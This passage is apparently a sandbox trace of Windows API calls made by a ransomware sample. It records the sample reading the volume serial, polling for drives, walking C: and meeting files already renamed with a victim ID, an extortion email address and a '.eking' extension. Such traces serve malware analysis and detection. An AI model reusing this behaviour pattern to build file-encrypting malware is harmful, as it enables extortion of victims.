dwFlags=0x0, lpMem=0x6d4618 | out: hHeap=0x6a0000) returned 1 [0164.338] GetProcessHeap () returned 0x6a0000 [0164.338] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4e80 | out: hHeap=0x6a0000) returned 1 [0164.338] GetProcessHeap () returned 0x6a0000 [0164.338] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6be880 | out: hHeap=0x6a0000) returned 1 [0164.338] GetProcessHeap () returned 0x6a0000 [0164.339] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4eb0 | out: hHeap=0x6a0000) returned 1 [0164.339] GetProcessHeap () returned 0x6a0000 [0164.339] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d45e8 | out: hHeap=0x6a0000) returned 1 [0164.339] GetProcessHeap () returned 0x6a0000 [0164.339] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bca00 | out: hHeap=0x6a0000) returned 1 [0164.339] GetProcessHeap () returned 0x6a0000 [0164.339] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa4) returned 0x6d45e8 [0164.339] GetProcessHeap () returned 0x6a0000 [0164.339] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4e20 | out: hHeap=0x6a0000) returned 1 [0164.339] GetProcessHeap () returned 0x6a0000 [0164.339] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4e38 | out: hHeap=0x6a0000) returned 1 [0164.339] GetProcessHeap () returned 0x6a0000 [0164.339] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bd358 | out: hHeap=0x6a0000) returned 1 [0164.339] GetProcessHeap () returned 0x6a0000 [0164.339] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4e50 | out: hHeap=0x6a0000) returned 1 [0164.339] GetProcessHeap () returned 0x6a0000 [0164.339] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4e08 | out: hHeap=0x6a0000) returned 1 [0164.339] GetProcessHeap () returned 0x6a0000 [0164.339] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6bca00 [0164.339] GetProcessHeap () returned 0x6a0000 [0164.339] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0xe) returned 0x6d4e08 [0164.339] ResetEvent (hEvent=0x120) returned 1 [0164.339] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xf656b3, lpParameter=0x6bca00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x124 [0164.347] CloseHandle (hObject=0x124) returned 1 [0164.347] GetProcessHeap () returned 0x6a0000 [0164.347] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d4e50 [0164.347] GetProcessHeap () returned 0x6a0000 [0164.347] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d4e38 [0164.347] GetProcessHeap () returned 0x6a0000 [0164.347] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d4e20 [0164.347] GetProcessHeap () returned 0x6a0000 [0164.347] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6bd358 [0164.347] GetProcessHeap () returned 0x6a0000 [0164.347] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d4eb0 [0164.348] htonl (hostlong=0x9c354b42) returned 0x424b359c [0164.348] GetProcessHeap () returned 0x6a0000 [0164.348] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x28) returned 0x6d46c8 [0164.348] GetProcessHeap () returned 0x6a0000 [0164.348] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d4e80 [0164.348] GetProcessHeap () returned 0x6a0000 [0164.348] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x6bd3f0 [0164.348] GetProcessHeap () returned 0x6a0000 [0164.348] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x14) returned 0x6bca40 [0164.348] GetProcessHeap () returned 0x6a0000 [0164.348] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d4e98 [0164.348] GetProcessHeap () returned 0x6a0000 [0164.348] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x80) returned 0x6d5460 [0164.348] GetProcessHeap () returned 0x6a0000 [0164.348] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d4e68 [0164.348] GetProcessHeap () returned 0x6a0000 [0164.348] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x82) returned 0x6d54e8 [0164.348] GetProcessHeap () returned 0x6a0000 [0164.348] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d4f40 [0164.348] GetProcessHeap () returned 0x6a0000 [0164.348] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x6be880 [0164.348] GetProcessHeap () returned 0x6a0000 [0164.348] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d4f28 [0164.348] GetProcessHeap () returned 0x6a0000 [0164.348] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x80) returned 0x6d5578 [0164.348] GetProcessHeap () returned 0x6a0000 [0164.348] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d4ee0 [0164.348] GetProcessHeap () returned 0x6a0000 [0164.348] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2) returned 0x6d4268 [0164.348] GetProcessHeap () returned 0x6a0000 [0164.349] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x6bb6d8 [0164.349] GetProcessHeap () returned 0x6a0000 [0164.349] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d4ef8 [0164.349] GetProcessHeap () returned 0x6a0000 [0164.349] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x80) returned 0x6d5600 [0164.349] GetProcessHeap () returned 0x6a0000 [0164.349] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d4ec8 [0164.349] GetProcessHeap () returned 0x6a0000 [0164.349] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x6bb6e8 [0164.349] GetProcessHeap () returned 0x6a0000 [0164.349] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6d4268, Size=0x82) returned 0x6d5688 [0164.349] GetProcessHeap () returned 0x6a0000 [0164.349] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6bb6e8, Size=0x100) returned 0x6d5718 [0164.349] GetProcessHeap () returned 0x6a0000 [0164.349] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d4f10 [0164.349] GetProcessHeap () returned 0x6a0000 [0164.349] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x82) returned 0x6d5838 [0164.349] GetProcessHeap () returned 0x6a0000 [0164.349] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d4f58 [0164.349] GetProcessHeap () returned 0x6a0000 [0164.349] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x82) returned 0x6d58c8 [0164.349] GetProcessHeap () returned 0x6a0000 [0164.349] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6d5688, Size=0x104) returned 0x6d7820 [0164.349] GetProcessHeap () returned 0x6a0000 [0164.350] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6d5718, Size=0x200) returned 0x6d7930 [0164.351] GetProcessHeap () returned 0x6a0000 [0164.351] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb6d8 | out: hHeap=0x6a0000) returned 1 [0164.351] GetProcessHeap () returned 0x6a0000 [0164.351] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d7930 | out: hHeap=0x6a0000) returned 1 [0164.351] GetProcessHeap () returned 0x6a0000 [0164.351] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4ec8 | out: hHeap=0x6a0000) returned 1 [0164.351] GetProcessHeap () returned 0x6a0000 [0164.351] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5578 | out: hHeap=0x6a0000) returned 1 [0164.351] GetProcessHeap () returned 0x6a0000 [0164.351] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4f28 | out: hHeap=0x6a0000) returned 1 [0164.351] GetProcessHeap () returned 0x6a0000 [0164.351] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5600 | out: hHeap=0x6a0000) returned 1 [0164.351] GetProcessHeap () returned 0x6a0000 [0164.351] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4ef8 | out: hHeap=0x6a0000) returned 1 [0164.351] GetProcessHeap () returned 0x6a0000 [0164.351] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d7820 | out: hHeap=0x6a0000) returned 1 [0164.351] GetProcessHeap () returned 0x6a0000 [0164.351] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4ee0 | out: hHeap=0x6a0000) returned 1 [0164.351] GetProcessHeap () returned 0x6a0000 [0164.351] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5838 | out: hHeap=0x6a0000) returned 1 [0164.351] GetProcessHeap () returned 0x6a0000 [0164.351] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4f10 | out: hHeap=0x6a0000) returned 1 [0164.351] GetProcessHeap () returned 0x6a0000 [0164.351] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d58c8 | out: hHeap=0x6a0000) returned 1 [0164.351] GetProcessHeap () returned 0x6a0000 [0164.351] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4f58 | out: hHeap=0x6a0000) returned 1 [0164.351] GetProcessHeap () returned 0x6a0000 [0164.352] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bd3f0 | out: hHeap=0x6a0000) returned 1 [0164.352] GetProcessHeap () returned 0x6a0000 [0164.352] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4e80 | out: hHeap=0x6a0000) returned 1 [0164.352] GetProcessHeap () returned 0x6a0000 [0164.352] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d54e8 | out: hHeap=0x6a0000) returned 1 [0164.352] GetProcessHeap () returned 0x6a0000 [0164.352] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4e68 | out: hHeap=0x6a0000) returned 1 [0164.352] GetProcessHeap () returned 0x6a0000 [0164.352] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5460 | out: hHeap=0x6a0000) returned 1 [0164.352] GetProcessHeap () returned 0x6a0000 [0164.352] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4e98 | out: hHeap=0x6a0000) returned 1 [0164.352] GetProcessHeap () returned 0x6a0000 [0164.352] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6be880 | out: hHeap=0x6a0000) returned 1 [0164.352] GetProcessHeap () returned 0x6a0000 [0164.352] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4f40 | out: hHeap=0x6a0000) returned 1 [0164.352] GetProcessHeap () returned 0x6a0000 [0164.352] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d46c8 | out: hHeap=0x6a0000) returned 1 [0164.352] GetProcessHeap () returned 0x6a0000 [0164.352] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bca40 | out: hHeap=0x6a0000) returned 1 [0164.352] GetProcessHeap () returned 0x6a0000 [0164.352] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa4) returned 0x6d5460 [0164.352] GetProcessHeap () returned 0x6a0000 [0164.352] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4e38 | out: hHeap=0x6a0000) returned 1 [0164.352] GetProcessHeap () returned 0x6a0000 [0164.352] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4e20 | out: hHeap=0x6a0000) returned 1 [0164.352] GetProcessHeap () returned 0x6a0000 [0164.352] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bd358 | out: hHeap=0x6a0000) returned 1 [0164.352] GetProcessHeap () returned 0x6a0000 [0164.352] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4eb0 | out: hHeap=0x6a0000) returned 1 [0164.352] GetProcessHeap () returned 0x6a0000 [0164.352] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4e50 | out: hHeap=0x6a0000) returned 1 [0164.352] GetProcessHeap () returned 0x6a0000 [0164.353] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6bca40 [0164.353] GetProcessHeap () returned 0x6a0000 [0164.353] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0xe) returned 0x6d4e50 [0164.353] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xf656b3, lpParameter=0x6bca40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x124 [0164.354] CloseHandle (hObject=0x124) returned 1 [0164.355] WaitForSingleObject (hHandle=0x120, dwMilliseconds=0xffffffff) returned 0x0 [0200.197] CloseHandle (hObject=0x120) returned 1 [0200.197] CloseHandle (hObject=0x11c) returned 1 [0200.197] GetProcessHeap () returned 0x6a0000 [0200.197] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bbe70 | out: hHeap=0x6a0000) returned 1 [0200.197] GetProcessHeap () returned 0x6a0000 [0200.198] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b45f0 | out: hHeap=0x6a0000) returned 1 [0200.198] GetProcessHeap () returned 0x6a0000 [0200.198] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb658 | out: hHeap=0x6a0000) returned 1 Thread: id = 59 os_tid = 0x79c [0164.340] GetLogicalDrives () returned 0x4 [0164.341] GetProcessHeap () returned 0x6a0000 [0164.341] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ba460 [0164.341] GetProcessHeap () returned 0x6a0000 [0164.341] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6ba4b0 [0164.341] GetProcessHeap () returned 0x6a0000 [0164.341] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6ba4d8 [0164.341] GetProcessHeap () returned 0x6a0000 [0164.341] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6d4698 [0164.341] GetProcessHeap () returned 0x6a0000 [0164.341] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4698 | out: hHeap=0x6a0000) returned 1 [0164.341] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6ba4b0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0164.341] GetProcessHeap () returned 0x6a0000 [0164.341] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba4d8 | out: hHeap=0x6a0000) returned 1 [0164.341] GetProcessHeap () returned 0x6a0000 [0164.341] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba460 | out: hHeap=0x6a0000) returned 1 [0164.341] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x249fc4c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x249fc4c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0164.341] GetProcessHeap () returned 0x6a0000 [0164.341] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba4b0 | out: hHeap=0x6a0000) returned 1 [0164.341] GetProcessHeap () returned 0x6a0000 [0164.342] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4638 [0164.342] GetProcessHeap () returned 0x6a0000 [0164.342] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d4698 [0164.342] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x128 [0164.342] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x12c [0164.342] GetLogicalDrives () returned 0x4 [0164.342] Sleep (dwMilliseconds=0x3e8) [0165.461] GetLogicalDrives () returned 0x4 [0165.461] Sleep (dwMilliseconds=0x3e8) [0166.611] GetLogicalDrives () returned 0x4 [0166.611] Sleep (dwMilliseconds=0x3e8) [0168.353] GetLogicalDrives () returned 0x4 [0168.353] Sleep (dwMilliseconds=0x3e8) [0169.494] GetLogicalDrives () returned 0x4 [0169.494] Sleep (dwMilliseconds=0x3e8) [0170.649] GetLogicalDrives () returned 0x4 [0170.649] Sleep (dwMilliseconds=0x3e8) [0171.920] GetLogicalDrives () returned 0x4 [0171.920] Sleep (dwMilliseconds=0x3e8) [0173.281] GetLogicalDrives () returned 0x4 [0173.281] Sleep (dwMilliseconds=0x3e8) [0174.497] GetLogicalDrives () returned 0x4 [0174.498] Sleep (dwMilliseconds=0x3e8) [0175.889] GetLogicalDrives () returned 0x4 [0175.889] Sleep (dwMilliseconds=0x3e8) [0177.024] GetLogicalDrives () returned 0x4 [0177.024] Sleep (dwMilliseconds=0x3e8) [0178.284] GetLogicalDrives () returned 0x4 [0178.284] Sleep (dwMilliseconds=0x3e8) [0180.683] GetLogicalDrives () returned 0x4 [0180.683] Sleep (dwMilliseconds=0x3e8) [0182.014] GetLogicalDrives () returned 0x4 [0182.014] Sleep (dwMilliseconds=0x3e8) [0183.247] GetLogicalDrives () returned 0x4 [0183.247] Sleep (dwMilliseconds=0x3e8) [0184.403] GetLogicalDrives () returned 0x4 [0184.403] Sleep (dwMilliseconds=0x3e8) [0185.549] GetLogicalDrives () returned 0x4 [0185.549] Sleep (dwMilliseconds=0x3e8) [0186.655] GetLogicalDrives () returned 0x4 [0186.655] Sleep (dwMilliseconds=0x3e8) [0187.795] GetLogicalDrives () returned 0x4 [0187.795] Sleep (dwMilliseconds=0x3e8) [0189.193] GetLogicalDrives () returned 0x4 [0189.193] Sleep (dwMilliseconds=0x3e8) [0190.317] GetLogicalDrives () returned 0x4 [0190.317] Sleep (dwMilliseconds=0x3e8) [0192.024] GetLogicalDrives () returned 0x4 [0192.024] Sleep (dwMilliseconds=0x3e8) [0193.265] GetLogicalDrives () returned 0x4 [0193.265] Sleep (dwMilliseconds=0x3e8) [0194.352] GetLogicalDrives () returned 0x4 [0194.352] Sleep (dwMilliseconds=0x3e8) [0195.713] CloseHandle (hObject=0x12c) returned 1 [0195.713] CloseHandle (hObject=0x128) returned 1 [0195.713] GetProcessHeap () returned 0x6a0000 [0195.713] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4698 | out: hHeap=0x6a0000) returned 1 [0195.713] GetProcessHeap () returned 0x6a0000 [0195.713] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4638 | out: hHeap=0x6a0000) returned 1 [0195.713] GetProcessHeap () returned 0x6a0000 [0195.713] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb698 | out: hHeap=0x6a0000) returned 1 Thread: id = 60 os_tid = 0x7a4 Thread: id = 61 os_tid = 0x7ac [0164.410] GetProcessHeap () returned 0x6a0000 [0164.410] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x38) returned 0x6d44d0 [0164.410] GetProcessHeap () returned 0x6a0000 [0164.410] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6bcaa0 [0164.410] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x174 [0164.410] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x178 [0164.410] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x17c [0164.410] GetProcessHeap () returned 0x6a0000 [0164.410] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x6ded58 [0164.410] GetProcessHeap () returned 0x6a0000 [0164.410] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x6eed60 [0164.411] GetProcessHeap () returned 0x6a0000 [0164.411] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x50) returned 0x6fed68 [0164.411] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x770d0000 [0164.411] GetProcAddress (hModule=0x770d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x770fd650 [0164.411] Wow64DisableWow64FsRedirection (in: OldValue=0x2c3fb2c | out: OldValue=0x2c3fb2c*=0x0) returned 1 [0164.411] GetProcessHeap () returned 0x6a0000 [0164.411] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fed68 | out: hHeap=0x6a0000) returned 1 [0164.411] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0xf654bf, lpParameter=0x2c3fb34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x180 [0164.415] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0xf654bf, lpParameter=0x2c3fb34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x184 [0164.418] GetProcessHeap () returned 0x6a0000 [0164.418] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x6ff070 [0164.419] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x2c3f8a8 | out: lpFindFileData=0x2c3f8a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x6bd3c0 [0164.419] GetProcessHeap () returned 0x6a0000 [0164.419] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x70f078 [0164.420] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\*", lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x71f080 [0164.420] FindNextFileW (in: hFindFile=0x71f080, lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.420] FindNextFileW (in: hFindFile=0x71f080, lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xde7c2ea0, ftLastAccessTime.dwHighDateTime=0x1d696f3, ftLastWriteTime.dwLowDateTime=0xde7c2ea0, ftLastWriteTime.dwHighDateTime=0x1d696f3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0164.420] GetProcessHeap () returned 0x6a0000 [0164.420] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x7200c8 [0164.421] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xde7c2ea0, ftLastAccessTime.dwHighDateTime=0x1d696f3, ftLastWriteTime.dwLowDateTime=0xde7c2ea0, ftLastWriteTime.dwHighDateTime=0x1d696f3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7300d0 [0164.421] FindNextFileW (in: hFindFile=0x7300d0, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xde7c2ea0, ftLastAccessTime.dwHighDateTime=0x1d696f3, ftLastWriteTime.dwLowDateTime=0xde7c2ea0, ftLastWriteTime.dwHighDateTime=0x1d696f3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.421] FindNextFileW (in: hFindFile=0x7300d0, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xde7c2ea0, ftCreationTime.dwHighDateTime=0x1d696f3, ftLastAccessTime.dwLowDateTime=0xde7c2ea0, ftLastAccessTime.dwHighDateTime=0x1d696f3, ftLastWriteTime.dwLowDateTime=0xde7c2ea0, ftLastWriteTime.dwHighDateTime=0x1d696f3, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0164.421] SetEvent (hEvent=0x178) returned 1 [0164.421] ResetEvent (hEvent=0x17c) returned 1 [0164.421] FindNextFileW (in: hFindFile=0x7300d0, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6bc3920, ftCreationTime.dwHighDateTime=0x1d696fc, ftLastAccessTime.dwLowDateTime=0x6bc3920, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x6f2f8c0, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="DESKTO~1.EKI")) returned 1 [0164.422] FindNextFileW (in: hFindFile=0x7300d0, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6bc3920, ftCreationTime.dwHighDateTime=0x1d696fc, ftLastAccessTime.dwLowDateTime=0x6bc3920, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x6f2f8c0, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="DESKTO~1.EKI")) returned 0 [0164.422] FindClose (in: hFindFile=0x7300d0 | out: hFindFile=0x7300d0) returned 1 [0164.422] GetProcessHeap () returned 0x6a0000 [0164.422] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7200c8 | out: hHeap=0x6a0000) returned 1 [0164.422] FindNextFileW (in: hFindFile=0x71f080, lpFindFileData=0x2c3f620 | out: 